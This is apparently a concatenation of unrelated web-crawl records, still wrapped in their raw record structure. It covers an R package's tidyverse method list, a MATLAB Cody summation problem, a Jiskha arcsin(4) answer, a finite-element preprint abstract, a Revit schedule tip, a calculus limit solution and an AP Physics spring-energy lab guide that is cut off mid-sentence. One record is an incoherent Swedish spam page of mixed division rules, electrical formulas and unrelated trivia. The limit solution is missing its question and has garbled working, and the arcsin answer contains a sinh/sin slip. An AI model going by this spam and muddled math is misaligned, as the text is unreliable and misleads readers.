group_indices(<simpr_spec>) group_keys(<simpr_sims>) group_keys(<simpr_spec>) group_map(<simpr_sims>) group_map(<simpr_spec>) group_modify(<simpr_sims>) group_modify(<simpr_spec>) group_nest(<simpr_sims>) group_nest(<simpr_spec>) group_size(<simpr_sims>) group_size(<simpr_spec>) group_split(<simpr_sims>) group_split(<simpr_spec>) group_trim(<simpr_sims>) group_trim(<simpr_spec>) group_vars(<simpr_sims>) group_vars(<simpr_spec>) groups(<simpr_sims>) groups(<simpr_spec>) inner_join(<simpr_sims>) inner_join(<simpr_spec>) intersect(<simpr_sims>) intersect(<simpr_spec>) left_join(<simpr_sims>) left_join(<simpr_spec>) mutate_(<simpr_sims>) mutate_(<simpr_spec>) mutate(<simpr_sims>) mutate(<simpr_spec>) n_groups(<simpr_sims>) n_groups(<simpr_spec>) nest_by(<simpr_sims>) nest_by(<simpr_spec>) nest_join(<simpr_sims>) nest_join(<simpr_spec>) pull(<simpr_sims>) pull(<simpr_spec>) relocate(<simpr_sims>) relocate(<simpr_spec>) rename_(<simpr_sims>) rename_(<simpr_spec>) rename_with(<simpr_sims>) rename_with(<simpr_spec>) rename(<simpr_sims>) rename(<simpr_spec>) right_join(<simpr_sims>) right_join(<simpr_spec>) rows_delete(<simpr_sims>) rows_delete(<simpr_spec>) rows_insert(<simpr_sims>) rows_insert(<simpr_spec>) rows_patch(<simpr_sims>) rows_patch(<simpr_spec>) rows_update(<simpr_sims>) rows_update(<simpr_spec>) rows_upsert(<simpr_sims>) rows_upsert(<simpr_spec>) rowwise(<simpr_sims>) rowwise(<simpr_spec>) same_src(<simpr_sims>) same_src(<simpr_spec>) sample_frac(<simpr_sims>) sample_frac(<simpr_spec>) sample_n(<simpr_sims>) sample_n(<simpr_spec>) select_(<simpr_sims>) select_(<simpr_spec>) select(<simpr_sims>) select(<simpr_spec>) semi_join(<simpr_sims>) semi_join(<simpr_spec>) setdiff(<simpr_sims>) setdiff(<simpr_spec>) setequal(<simpr_sims>) setequal(<simpr_spec>) slice_(<simpr_sims>) slice_(<simpr_spec>) slice_head(<simpr_sims>) slice_head(<simpr_spec>) slice_max(<simpr_sims>) slice_max(<simpr_spec>) slice_min(<simpr_sims>) slice_min(<simpr_spec>) slice_sample(<simpr_sims>) slice_sample(<simpr_spec>) slice_tail(<simpr_sims>) slice_tail(<simpr_spec>) slice(<simpr_sims>) slice(<simpr_spec>) summarise_(<simpr_sims>) summarise_(<simpr_spec>) summarise(<simpr_sims>) summarise(<simpr_spec>) tally(<simpr_sims>) tally(<simpr_spec>) tbl_vars(<simpr_sims>) tbl_vars(<simpr_spec>) transmute_(<simpr_sims>) transmute_(<simpr_spec>) transmute(<simpr_sims>) transmute(<simpr_spec>) ungroup(<simpr_sims>) ungroup(<simpr_spec>) union_all(<simpr_sims>) union_all(<simpr_spec>) union(<simpr_sims>) union(<simpr_spec>) complete_(<simpr_sims>) complete_(<simpr_spec>) complete(<simpr_sims>) complete(<simpr_spec>) drop_na_(<simpr_sims>) drop_na_(<simpr_spec>) drop_na(<simpr_sims>) drop_na(<simpr_spec>) expand_(<simpr_sims>) expand_(<simpr_spec>) expand(<simpr_sims>) expand(<simpr_spec>) extract_(<simpr_sims>) extract_(<simpr_spec>) extract(<simpr_sims>) extract(<simpr_spec>) fill_(<simpr_sims>) fill_(<simpr_spec>) fill(<simpr_sims>) fill(<simpr_spec>) gather_(<simpr_sims>) gather_(<simpr_spec>) gather(<simpr_sims>) gather(<simpr_spec>) nest_legacy(<simpr_sims>) nest_legacy(<simpr_spec>) nest(<simpr_sims>) nest(<simpr_spec>) pivot_longer(<simpr_sims>) pivot_longer(<simpr_spec>) pivot_wider(<simpr_sims>) pivot_wider(<simpr_spec>) replace_na(<simpr_sims>) replace_na(<simpr_spec>) separate_(<simpr_sims>) separate_(<simpr_spec>) separate_rows_(<simpr_sims>) separate_rows_(<simpr_spec>) separate_rows(<simpr_sims>) separate_rows(<simpr_spec>) separate(<simpr_sims>) separate(<simpr_spec>) spread_(<simpr_sims>) spread_(<simpr_spec>) spread(<simpr_sims>) spread(<simpr_spec>) unite_(<simpr_sims>) unite_(<simpr_spec>) unite(<simpr_sims>) unite(<simpr_spec>) unnest_legacy(<simpr_sims>) unnest_legacy(<simpr_spec>) unnest(<simpr_sims>) unnest(<simpr_spec>)\n\nSimpr methods for tidyverse verbs\n\nwhole_tibble()\n\nConvert a simpr_sims object back to a simpr_tibble" ]
[ null ]
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https://nl.mathworks.com/matlabcentral/cody/problems/44513
[ "Cody\n\n# Problem 44513. Add all the numbers between two limits (inclusive)\n\nIn this problem you must add up \"all of the numbers\" between two specified limits, a and b, in which ab. However, the practical interpretation of \"all of the numbers\" will depend upon the specified data type, dt.\n\nMathematically speaking, if a < b then the required sum constitutes an infinite series that does not converge (i.e. the required sum would be infinity). For example, if a=1 and b=2 then we could capture some of those numbers through the series lim n→∞ ⁿ∑ᵢ₌₁{1 + (1/i)} = lim n→∞ {n + ⁿ∑ᵢ₌₁(1/i)} ≈ lim n→∞ {n + γ + ln(n)}, using properties of the harmonic series in the last approximation.\n\nBut MATLAB cannot represent numbers with infinite precision. In fact, the precision is determined by the specified data type. For instance, if dt = 'single', then with a=1 and b=2 the summation would comprise the series {(1) + (1+1×2⁻²³) + (1+2×2⁻²³) + (1+3×2⁻²³) + ... + (2−2×2⁻²³) + (2−1×2⁻²³) + (2)} = 12582913.5, which is finite.\n\nAnother example:\n\n``` % INPUT\na = 10\nb = 12\ndt = 'int16'\n% OUTPUT\ns = 33 % = 10 + 11 +12```\n\nSo please add up all the numbers between two limits (inclusive), subject to the precision indicated by the specified data type.\n\nNOTE 1: Terminal values a and b are whole numbers in every case (albeit implicitly defined as of the double data type); they can be positive or negative. However, values -1<x<+1 are never included in the summations.\n\nNOTE 2: All data types specified in the input dt shall be numeric.\n\n### Solution Stats\n\n37.5% Correct | 62.5% Incorrect\nLast solution submitted on Apr 05, 2019" ]
[ null ]
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https://skatterhmud.web.app/43600/86311.html
[ "# David W. Levy LibraryThing på svenska\n\nDivided States of Women - Some of the cleanest water in the\n\nDivide. Write in simplest form. 5. 1/3 divided by 2/5=5/6 6. 1/9 divided by 1/2=2/9 7.2/3 divided by 1/4=8/3=2 2/3 8. 1/2 divided by 3/4=4/6=2/3 9.\n\nThe resistance R in ohms (Ω) is equal to the power P in watts (W) divided by the squared current I in amps (A): Amps calculations. The current I in amps (A) is equal to the voltage V in volts (V) divided by the resistance R in ohms (Ω): The current I in amps (A) is equal to the power P in watts (W) divided by the voltage V in volts (V): Divide numbers by using cell references. Instead of typing numbers directly in a formula, you can use cell references, such as A2 and A3, to refer to the numbers that you want to divide and divide by. Example: The example may be easier to understand if you copy it to a blank worksheet. How to copy an example.\n\nTurn the second fraction upside down (the reciprocal): 5 1 becomes 1 5.\n\n## Sweden 2. Division Norra Götaland 2021 table, results and\n\nThis calculator calculates the \"What\" in this sentence: \"X divided by what equals Y?\" Here are some examples of what this calculator can do: 1 divided by what equals 2? 9 divided by what equals 3? The watt (symbol: W) is a unit of power or radiant flux.", null, "### division 2 norra svealand\n\n2l=P-2w. 2 l = P − 2 w.", null, "0. 1. 2. 3. 4.\nB lymphocytes", null, "The answer is rounded to the nearest four decimal points if necessary. Division is one of the four basic operations of arithmetic, the ways that numbers are combined to make new numbers. The other operations are addition, subtraction, and multiplication. The division sign ÷, a symbol consisting of a short horizontal line with a dot above and another dot below, is often used to indicate mathematical division. This usage, though widespread in anglophone countries, is neither universal nor recommended: the ISO 80000-2 standard for mathematical notation Instead of saying 1 divided by 2 equals 0.5, you could just use the division symbol, which is a slash, as we did above. Also note that all answers in our division calculations are rounded to three decimals if necessary.\n\nHere is the answer to questions like: What is 49 divided by 2 or long division with remainders: 49/2.? This calculator shows all the work and steps for long division. You just need to enter the dividend and divisor values. The answer will be detailed below. Dividend definition is - an individual share of something distributed: such as. How to use dividend in a sentence.\n\n6.9146. Free Online Scientific Notation Calculator. Solve advanced problems in Physics, Mathematics and Engineering. Math Expression Renderer, Plots, Unit Converter, Equation Solver, Complex Numbers, Calculation History.\n\nInstead of saying 1 divided by 2 equals 0.5, you could just use the division symbol, which is a slash, as we did above. Also note that all answers in our division calculations are rounded to three decimals if necessary. Here are some other ways to display or communicate that 1 divided by 2 equals 0.5: 1 ÷ 2 = 0.5 1 over 2 = 0.5 1 ⁄ 2 = 0.5 Provided to YouTube by Universal Music GroupTwo Divided By Love · The Grass RootsMove Along℗ 1971 UMG Recordings, Inc.Released on: 1972-01-01Producer: Steve Weegy: In the Christian calendar, Shrove Tuesday is the day before Ash Wednesday which marks the beginning of Lent. Medieval Christians went to confession on that day and were “shriven” (absolved from their sins).\nHur gor man cv\n\nastrazeneca aktiekurs stockholm\nduration paint\nhandelsbanken hässleholm clearing\nimmunovia ir" ]
[ null, "https://picsum.photos/800/610", null, "https://picsum.photos/800/611", null, "https://picsum.photos/800/640", null ]
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https://www.jiskha.com/questions/9867/the-original-question-i-had-was-write-arcsin4-in-the-form-a-ib-i-manage-and-understand
[ "# maths 2\n\nThe original question I had was write arcsin4 in the form a+ib. I manage and understand how to get so far BUT How do I get from\ncosacoshb-isinasinhb=4\nto\n2m(pi)+/- iarccosh4\n\narcsin4 = a + b i --->\n\n4 = sin(a + bi)\n\nsin(a + bi) =\n\nsin(a)cos(bi) + cos(a) sin(bi)\n\ncos(bi) = cosh(b)\n\nsin(bi) = i sin(b)\n\nSo,\n\n4 = sin(a)cosh(b) + i cos(a) sinh(b)\n\nThe imaginary part of the left hand side is zero, so we must have:\n\ncos(a) sinh(b) = 0\n\nWe already know that b can't be zero, because we know that arcsin(4) is not real. This means that a must be plus or minus pi/2.\n\nEquatiiong the real parts gives you:\n\n4 = sin(a)cosh(b)\n\ncosh(b) is positive, it thuis follws that sin(a) must be positive and we must thus choose a = pi/2. And we obtain:\n\nb = plus or minus arccosh(4)\n\nIt turns out that the correct analytical continuation of the arcsin function defined for real argument yields the minus sign for b here.\n\n1. 👍\n2. 👎\n3. 👁\n4. ℹ️\n5. 🚩\n\n## Similar Questions\n\nStill need help? You can ask a new question." ]
[ null ]
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https://ci2ma.udec.cl/publicaciones/prepublicaciones/prepublicacionen.php?id=222
[ " CI²MA - Publications | Preprints\n\n## Eligio Colmenares, Michael Neilan:\n\n### Abstract:\n\nWe propose and analyze two mixed approaches for numerically solving the stationary Boussinesq model describing heat driven flows. For the fluid equations, the velocity gradient and a Bernoulli stress tensor are introduced as auxiliary unknowns. For the heat equation, we consider primal and mixed-primal formulations; the latter, incorporating additionally the normal component of the temperature gradient on the Dirichlet boundary. Both dual-mixed formulations exhibit the same classical structure of the Navier--Stokes equations. We derive a priori estimates and the existence of continuous and discrete solutions for the formulations. In addition, we prove the uniqueness of solutions and optimal-order error estimates provided the data is sufficiently small. Numerical experiments are given which back up the theoretical results and illustrate the robustness and accuracy of both methods for a classic benchmark problem.\n\nDownload in PDF format", null, "This preprint gave rise to the following definitive publication(s):\n\nEligio COLMENARES, Michael NEILAN: Dual-mixed finite element methods for the stationary Boussinesq problem. Computers & Mathematics with Applications, vol. 72, 7, pp. 1828-1850, (2016).\n\n CI²MA, CENTER FOR RESEARCH IN MATHEMATICAL ENGINEERING, UNIVERSIDAD DE CONCEPCIÓN - MAILBOX 160-C, CONCEPCIÓN, CHILE, PHONE: +56-41-2661324" ]
[ null, "https://ci2ma.udec.cl/img/pdf.png", null ]
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http://www.halfbakedapps.info/2013/08/filter-revit-schedule-for-whole-values.html
[ "## Thursday, August 15, 2013\n\n### Filter a Revit Schedule for Whole Values\n\nI saw an interesting question asked in the BIM + Revit MEP LinkedIn group the other day. The question was if it was possible to use wildcards in a schedule's filters (nope). But the real question was: would it be possible to filter a schedule so that it only displays values that are not whole numbers (integers).\n\nIt would be wonderful if I could provide an example using Autodesk® Revit® MEP's Elevation parameter, but alas, that built-in parameter is still not available for tagging or schedules.\n\nHowever, here is the approach I used with a shared parameter used to report elevation. I am using three calculated values. I could get by with just one, but I like the idea of having one value to convert the elevation to a real number and one value to calculate the whole number, for QC purposes, and the third value to provide the actual filtering.\n\nHere are the fields that I used:\n1. Sparling Mounting Height: Shared parameter, Length, that reports the elevation of the element. How I wish I could use Elevation here!\n2. Elevation As Number (can be hidden): Calculated value, Number, using this formula: (Sparling Mounting Height / 0' 1\")\n3. Whole Value (can be hidden): Calculated value, Number, using this formula: round(Elevation As Number)\n4. Is Whole (can be hidden): Calculated value, Yes/No, using this formula: Elevation As Number = Whole Value\n\nNote that the Round function does not work with lengths so it is neccessary to normalize the value from Sparling Mounting Height: (Sparling Mounting Height / 0' 1\")\n\nUpdate: Bruce Johnson pointed out that I could normalize using inches rather than feet and Revit converts the value correctly.\n\nBecause lengths are stored in Revit as decimal feet, the normalized value needs to be converted to inches before it is rounded: (Sparling Mounting Height / 1') * 12)\n\nI round the calculated value of the elevation, in inches, normalized to a number to be used to test if the original value was a whole number.\n\nFinally, we do the actual test to provide a Yes/No result that can be used to filter the schedule.\n\nI also wish that I could resize the Calculated Value dialog so that it would be easier to document my schedules. However, I have no fix for that, other than adding it to the AUGI wishlist.\n\nAutodesk, the Autodesk logo, AutoCAD, Navisworks, and Revit are registered trademarks or trademarks of Autodesk, Inc., and/or its subsidiaries and/or affiliates in the USA and/or other countries.\n\n1.", null, "2.", null, "" ]
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https://infinitylearn.com/questions/mathematics/if-f-x-xlog-cosx-log-x-x
[ "", null, "Continuity\nQuestion\n\n# , then\n\nModerate\nSolution\n\n## $\\begin{array}{l}\\mathrm{We} \\mathrm{have} \\underset{\\mathrm{x}\\to 0}{\\mathrm{lim}} \\frac{\\mathrm{f}\\left(\\mathrm{x}\\right)-\\mathrm{f}\\left(0\\right)}{\\mathrm{x}-0}= \\underset{\\mathrm{x}\\to 0}{\\mathrm{lim}} \\frac{\\mathrm{log} \\mathrm{cosx}}{\\mathrm{log}\\left(1+{\\mathrm{x}}^{2}\\right)}\\\\ =\\underset{\\mathrm{x}\\to 0}{\\mathrm{lim}}\\frac{\\mathrm{log}\\left(1-1+\\mathrm{cosx}\\right)}{\\mathrm{log}\\left(1+{\\mathrm{x}}^{2}\\right)}\\frac{1-\\mathrm{cosx}}{1-\\mathrm{cosx}}\\\\ =\\underset{\\mathrm{x}\\to 0}{\\mathrm{lim}}\\frac{\\mathrm{log}\\left\\{1-\\left(1-\\mathrm{cosx}\\right)\\right\\}}{1-\\mathrm{cosx}}\\frac{1-\\mathrm{cosx}}{\\mathrm{log}\\left(1+{\\mathrm{x}}^{2}\\right)}\\\\ =\\underset{\\mathrm{x}\\to 0}{\\mathrm{lim}} \\frac{\\mathrm{log}\\left[1-\\left(1-\\mathrm{cosx}\\right)\\right]}{1\\left(1-\\mathrm{cosx}\\right)}\\frac{2{\\mathrm{sin}}^{2}\\frac{\\mathrm{x}}{2}}{4\\left(\\frac{\\mathrm{x}}{2}\\right)}\\frac{{\\mathrm{x}}^{2}}{\\mathrm{log}\\left(1+{\\mathrm{x}}^{2}\\right)}=-\\frac{1}{2}\\\\ \\mathrm{Hence}, \\mathrm{f}\\left(\\mathrm{x}\\right) \\mathrm{is} \\mathrm{differetiable} \\mathrm{x}=0.\\end{array}$Hence, (2') and (4) are the correct answers.\n\nGet Instant Solutions", null, "", null, "" ]
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https://www.flinnsci.com/conservation-of-elastic-potential-energy/Document/?contentId=63898c11-d85d-4ef3-a3e1-cae3a1411241
[ "# Conservation of Elastic Potential Energy\n\n## Inquiry Lab Kit for AP® Physics 1\n\n### Materials Included In Kit\n\nFiring ramps, 6\nSpheres, steel, 1\" dia., 6\n\n(for each lab group)\nBalance, 0.01-g precision (may be shared)\nClamp holder\nMeter stick\nRuler, metric\nSupport rod\nSupport stand\nTextbooks, 3–4 (optional)\n\n### Safety Precautions\n\nProjectiles may be inadvertently launched during this activity. Wear safety glasses. Follow all laboratory safety guidelines.\n\n### Disposal\n\nAll materials may be saved and stored for future use.\n\n### Lab Hints\n\n• This laboratory activity can be completed in two 50-minute class periods. It is important to allow time between the Introductory Activity and the Guided-Inquiry Activity for students to discuss and design the guided-inquiry procedures. Also, all student-designed procedures must be approved for safety before students are allowed to implement them in the lab. Prelab Questions may be completed before lab begins the first day.\n• This lab can be run with a spring-loaded cart and a flat inclined plane, though we found the data difficult to reproduce. A photogate timer may be used to more quantitatively assess the sphere’s motion.|The noncompressed spring length, determined by disassembling the firing mechanism, was found to be 10.4 cm. When compressed to the first firing notch, the spring measures 7.1 cm. The difference between the noncompressed and compressed lengths should be taken as x (3.3 cm) for the first firing position. The x values for the remaining firing positions may be determined by measuring the distance between the midpoints of adjacent firing positions. We found a 1.1 cm distance between each firing position using this method. Thus, x for the second firing position may be determined by the following: 7.1 cm –1.1 cm = 6.0 cm, the length of the compressed spring at the second firing position; 10.4 cm – 6.0 cm = 4.4 cm, the compression distance at the second firing position.\n• It is helpful to clamp the ends of the ramp to a metal support rod affixed to a support stand to keep the ramp steady during firings.\n• The fourth firing position can propel the sphere with significant force, enough to reach the ramp’s end at high angles. If your support stand is not tall enough to elevate one end of the ramp to such a degree that the fourth firing position does not result in misfires (travel distances exceeding the ramp length), the support stand may be placed atop a book to achieve a greater slope.\n• The exact angle the ramp makes with the table surface is neither easy to measure nor a necessary piece of data. It is important that a variety of slopes be used. The slope may be varied in a quantifiable way by simply measuring the distance between the ramp’s elevated end and the table surface.\n• It is useful to conduct a large number of trials for each firing position and ramp slope to reduce the effects of error associated with catching the sphere at its apex. It is difficult to catch the sphere without impeding or promoting its movement. Recording data from a large number of trials will reveal significant outliers that can be eliminated from data sets.\n• A good ramp slope for measuring the maximum sphere height at all firing positions can be obtained by elevating one end of the ramp to approximately 73 cm above the tabletop.\n• Significant energy loss can be attributed to the shaking and rattling of the track when the spring is released, especially at the higher compression distances. Students should be aware of this limitation as they complete the activity and also take the limitation into account when discussing sources of error.\n• To determine the effect of friction on the final height of the sphere, students can conduct more trials at various ramp elevations. In our trials, we found that the change in height of the sphere was less at smaller elevations than at larger elevations. This can be attributed to energy lost due to friction. Friction does work over the distance the sphere travels along the track. For greater distances the sphere travels along the track, more energy is lost as thermal energy and/or sound. For shorter travel distances, less energy is lost. Higher ramp elevations give more reliable changes in height of the sphere when using the two smallest spring compression distances. To achieve reliable change in height measurements for the two largest compression distances, the ramp needed to be nearly vertical. This is not an advisable procedure for students to follow because the sphere can take an unpredictable path when launched vertically.\n• The experiment serves as a qualitative assessment of the law of conservation of energy but breaks down under rigorous mathematical treatment.\n\n### Teacher Tips\n\n• Students may have difficulty coming to the conclusion that the ramp’s slope should not affect the sphere’s PEg. This is the case because students will observe differences in maximum sphere height for the same firing position. Reassure students that the slope should not affect sphere height according to the mathematical equation for PEg, which does not include a trigonometric term to account for slope.\n• The change in potential energy of the spring may also be explained as the work done on or by the spring.\n\n### Further Extensions\n\nAlignment to the Curriculum for AP® Physics 1\n\nEnduring Understandings and Essential Knowledge\nInteractions with other objects or systems can change the total energy of a system. (4C)\n4C1: The energy of a system includes its kinetic energy, potential energy, and microscopic internal energy. Examples should include gravitational potential energy, elastic potential energy, and kinetic energy.\n\nLearning Objectives\n4C1.1: The student is able to calculate the total energy of a system and justify the mathematical routines used in the calculation of component types of energy within the system whose sum is the total energy.\n4C1.2: The student is able to predict changes in the total energy of a system due to changes in position and speed of objects or frictional interactions within the system.\n\nScience Practices\n2.2 The student can justify the selection of a mathematical routine to solve problems.\n3.1 The student can pose scientific questions.\n4.1 The student can justify the selection of the kind of data needed to answer a particular scientific question.\n4.2 The student can design a plan for collecting data to answer a particular scientific question.\n4.3 The student can collect data to answer a particular scientific question.\n4.4 The student can evaluate sources of data to answer a particular scientific question.\n5.1 The student can analyze data to identify patterns or relationships.\n5.2 The student can refine observations and measurements based on data analysis.\n5.3 The student can evaluate the evidence provided by data sets in relation to a particular scientific question.\n6.1 The student can justify claims with evidence.\n6.2 The student can construct explanations of phenomena based on evidence produced through scientific practices.\n6.3 The student can articulate the reasons that scientific explanations and theories are refined or replaced.\n6.4 The student can make claims and predictions about natural phenomena based on scientific theories and models.\n7.2 The student can connect concepts in and across domain(s) to generalize or extrapolate in and/or across enduring understandings and/or big ideas.\n\n### Science & Engineering Practices\n\nPlanning and carrying out investigations\nAnalyzing and interpreting data\nUsing mathematics and computational thinking\nConstructing explanations and designing solutions\n\n### Disciplinary Core Ideas\n\nHS-PS3.A: Definitions of Energy\nHS-PS3.B: Conservation of Energy and Energy Transfer\n\n### Crosscutting Concepts\n\nPatterns\nCause and effect\nScale, proportion, and quantity\nEnergy and matter\n\n### Performance Expectations\n\nHS-PS3-1. Create a computational model to calculate the change in the energy of one component in a system when the change in energy of the other component(s) and energy flows in and out of the system are known.\nHS-PS3-2. Develop and use models to illustrate that energy at the macroscopic scale can be accounted for as a combination of energy associated with the motion of particles (objects) and energy associated with the relative position of particles (objects).\nHS-PS3-3. Design, build, and refine a device that works within given constraints to convert one form of energy into another form of energy.\n\n1. The unit for potential and kinetic energy is the joule, J. The joule is a derived unit and is equal to kg∙m2/s2. Use Equations 2, 3 or 4 from the Background to derive the joule.\n\nFrom Equation 4:\nΔPEg = mgΔh\nSubstitute in the units for mass (kg), acceleration due to gravity (m/s2) and change in height (m):\n(kg)(m/s2)(m) = kg∙m2/s2 = J\n\n2. Use the law of conservation of energy to write a mathematical equation describing how the change in potential of a spring is related to the change in gravitational potential energy.\n\nΔPEs = ΔPEg\n–½kx2 = mg(hf – hi)\n\n3. Consider an experiment in which a box is propelled up a sloped ramp by a spring-loaded firing mechanism. Using relative terms, such as low, medium and high, and quantitative terms, such as zero, describe the amount of elastic potential energy (PEs), kinetic energy (KE) and gravitational potential energy (PEg), of the box at the following points on the ramp.\n1. When the box is in contact with the compressed spring.\n\nPEs = high, KE = zero, PEg = zero\n\n2. Immediately after the box loses contact with the now uncompressed spring.\n\nPEs = zero, KE = high, PEg = zero\n\n3. When the box is about halfway up the ramp.\n\nPEs = zero, KE = medium, PEg = medium\n\n4. When the box is at its highest point on the ramp.\n\nPEs = zero, KE = zero, PEg = high\n\nFigure 1 shows the experiment described in the previous question. The center of the box is at a height of 0 m. The box has a mass of 2.20 kg. The spring constant of the spring is 400.0 N/m.\n1. Calculate the ΔPEs when the spring is compressed by 0.15 m from its equilibrium state.\n\nΔPEs = –½kx2\nΔPEs = –½ x 400.0 N/m x (0.15 m)2\nΔPEs = –4.5 J\n\n2. The spring is released and propels the box up the ramp. Determine the maximum height the box will reach using the principle of conservation of energy.\n\n–ΔPEs = ΔPEg = mg(hf – hi)\n–(–4.5 J) = (2.20 kg) x (9.81 m/s2) x (hf – 0 m)\nhf = 0.21 m\n\nThe spring in Figure 1 is removed and a new spring is put in its place. When the spring is compressed by 0.15 m, the box reaches a maximum height of 0.61 m.\n1. Calculate the spring constant of the new spring.\n\nΔPES = ΔPEg\n–½kx2 = mg(hf – hi)\nk = 2mg(hf – 0 m)/x2\nk = 2 x (2.20 kg) x (9.81 m/s2) x (0.61 m)/(0.15 m)2\nk = 1170 N/m\n\n2. Discuss sources of error in the design of the experiment that might account for the experimental value of the spring constant being less than the actual or true value.\n\nAs the box moves across the surface of the ramp, some energy may be lost due to friction. It is not stated that the ramp is frictionless. Therefore, as the box slides, some energy will be transformed into heat and/or sound due to friction. If energy is lost while the box moves up the ramp, then it will not attain its predicted height based on the compression of the spring. Similarly, using the final height as a measure of the spring constant will result in the spring constant being less if the box goes to a lower height than expected.\n\n### Sample Data\n\nIntroductory Activity\n\nSample Data for Notch 1\n\n{13787_Data_Table_1}\nAnalyze the Results\nWhen the ramp was at an elevation of 45.5 cm, the distance the sphere traveled along the track increased as the compression distance increased. It appeared as though the sphere traveled approximately four times as far on the second notch when compared to the first notch. The fourth compression distance (notch 4) propelled the sphere all the way to the top of the ramp, hitting the bumper.\n\nGuided-Inquiry Activity\n{13787_Data_Table_2}\n{13787_Data_Figure_3}\nSlope = 544.71 m–1\nSlope = k/2mg\nk = 2mg x slope = 2(0.067 kg)(9.81 m/s2)(544.71 m–1)\nk = 716 N/m\n\nFor Notch 4:\n• Elastic Potential Energy\n\nΔPEs = –½kx\nΔPEs = –½(716 N/m)(0.0340 m)2\nΔPEs = –0.414 J\n\n• Gravitational Potential Energy\n\nΔPEg = mg(hf – hi)\nΔPEg = (0.067 kg)(9.81 m/s2)(0.697 m – 0.101 m)\nΔPEg = 0.392 J\n\nGuided-Inquiry\n\n1. Did the sphere always return to the same place on the ramp when the compression distance and angle remained constant? If no, explain a possible cause for the variation.\n\nThe sphere did not always return to the same place on the ramp when the compression distance and angle remained constant. There were some instances of the launch handle getting caught on a finger and having an impeded release. By not having a smooth release, some of the potential energy of the spring was put into the finger. In all cases, there was friction between the sphere and the track. This is evidenced by the sound of the sphere going over the track. The sound of the sphere traveling over the track was not the same between each trial. In some trials, the sound was louder indicating that friction was not the same between each trial.\n\n2. How does the angle of the ramp affect the distance travelled by the sphere when the compression distance remains constant?\n\nWhen the ramp is at a smaller angle, the sphere travels a greater overall distance along the track. When the ramp is at a greater angle, the sphere travels a shorter overall distance.\n\n3. How does the angle of the ramp affect the change in height of the sphere when the compression distance remains constant? Justify your answer with data collected from the Introductory Activity.\n\nThe angle of the ramp does not have a great effect on the change in height of the sphere. Although the maximum heights for the different angles varied, the change in height remained constant. Between the three ramp angles in the Introductory Activity, the change in heights were fairly close, ranging from 2.5 cm to 3.1 cm. When the ramp elevations were 45.5 cm and 60.0 cm, the change in heights were nearly equal at 3.0 cm and 3.1 cm, respectively. According to the law of conservation of energy, when the energy stored in the spring is released, it will result in a change in the gravitational potential energy of the sphere. These two energies must be equal, –ΔPEs = ΔPEg, that is –½kx2 = mg(hf – hi). There is no angle variable in the equation.\n\n4. Consider the height measurements made in Part B of the Introductory Activity. Which ramp angle allowed for greater reproducibility in the measurements of height? Explain.\n\nIt was easier to measure the final height of the sphere when the ramp was at a smaller angle. At the larger angles, it was more difficult to determine exactly how high the sphere was traveling. The change in motion of the sphere at its peak position occurred too quickly to measure the height. Even after launching the sphere numerous times at the same angle, the recorded height is an assumed average of all of the trials. At the smaller angle, the change in motion of the sphere at the peak position occurred more slowly. It was easier to make minor adjustments to the position of the meter stick as the sphere ascended the ramp.\n\n5. Given the difficulty of determining the exact final height of the sphere, what could be changed in the experimental design to increase the reproducibility of your measurements?\n\nIt was more difficult to determine the final position of the sphere when it travelled shorter distances on the ramp. To ensure the final height is reproducible at shorter distances, more trials should be conducted so the meter stick can be adjusted to the leading edge. It would also be advantageous to have both partners measure the height to confirm agreement between the measurements.\n\n6. Consider the following statement: Energy lost due to friction has a significant influence on the final height achieved by the sphere on the ramp. The force due to friction and the distance over which friction acts determine the amount of energy lost. The greater the distance over which the friction acts, the more energy is lost as thermal energy.\n1. Compare, in qualitative terms, the amount of energy lost due to friction for the three ramp angles used in the Introductory Activity. Explain how you made your determinations.\n\nThe most energy was lost due to friction when the ramp elevation was 30.0 cm. At this elevation, the sphere traveled the farthest distance along the ramp. The least amount of energy was lost when the ramp elevation was 60.0 cm. The sphere traveled the shortest distance along the ramp.\n\n2. Which ramp angle provided the most reliable change in height data? Explain.\n\nWhen the ramp was at greater angles, the change in height data was more reliable. At greater angles, the sphere travelled shorter distances along the ramp and lost less energy due to friction. At greater angles, the transformation of elastic potential energy to gravitational potential energy was more complete.\n\n7. Based on the observations made in the Introductory Activity, how many trials should be conducted for each notch to ensure reliable data are collected?\n\nIt was somewhat difficult to be sure the sphere always reached the same height. Overall it appeared as though the sphere reached the same average height for the separate notches. At least 10 trials should be conducted for each notch to be sure the height at each notch is consistent.\n\n8. Based on the derived equation from Prelab Question 2, draw a graph predicting the relationship between Δh in terms of Δx2. How could the value of the spring constant, k, be calculated from the slope of the graph?\nThe slope of the graph of Δh versus Δx2 is equal to k/2mg. The value of k can be found by multiplying the slope by 2mg, where m is the mass of the sphere and g is the acceleration due to gravity.\n9. What values or measurements are needed in order to support the relationship between the change in elastic potential energy and the change in gravitational potential energy following the law of conservation of energy?\n\nIn order to confirm the relationship between elastic potential energy and gravitational potential energy, the compression distance of the spring, x, must be measured. The mass of the sphere, m, and the initial and final heights, hi and hf, respectively, of the sphere need to be measured as well. The spring constant, k, is needed but must be calculated. The acceleration due to gravity, g, is 9.81 m/s2.\n\n10. Using the Introductory Activity procedure and the discussion questions, design an experiment to verify the quantitative relationship between spring potential energy and gravitational potential energy. Identify the independent and dependent variables, as well as any constants.\n\nThe ramp must be elevated so that all four notches (compression distances) can be utilized. The ramp height must be greater than 60 cm. Measure and record the height of the ramp. Place the launch handle into the first notch. Place the sphere on the ramp and measure the height of its leading edge. When ready, launch the sphere up the ramp. Repeatedly launch the sphere until it returns to the same position on the ramp. Measure and record the height of the leading edge of the sphere when it stops momentarily on the ramp. Repeat the same steps for the remaining three notches. When finished, place the launch handle in its uncompressed position.\n\nReview Questions for AP® Physics 1\nA spring loaded launch mechanism is used to propel a box up a frictionless ramp. The box has a mass of 2.20 kg and an initial height of 0 m. The spring constant of the launch mechanism is 1776 N/m.\n\n1. The spring is compressed by 0.20 m and released. Determine the maximum height of the box.\n\nΔPEs = –½kx2\nΔPEg = mg(hf – hi)\n–ΔPEs = ΔPEg\n½kx2 = mgh\nh = kx2/2mg = 1776 N/m (0.20 m)2/2 x 2.20 kg x 9.81 m/s2\nh = 1.6 m\n\n2. The box then slides back down the ramp from its maximum height into the spring. What is the compression distance of the spring? Explain.\n\nThe compression distance of the spring will be 0.20 m. According to the law of conservation of energy, energy can only be transformed. The gravitational potential energy of the box must be equal to the elastic potential energy of the spring. Because the spring propelled the box to a height of 1.6 m, when the box returns to the spring, it will compress the spring by 0.20 m.\n\n3. Predict how the following independent changes to the spring-box system would affect the maximum height of the box.\n1. Doubling the mass of the box.\n\nIf the mass of the box is doubled, then the maximum height will decrease by 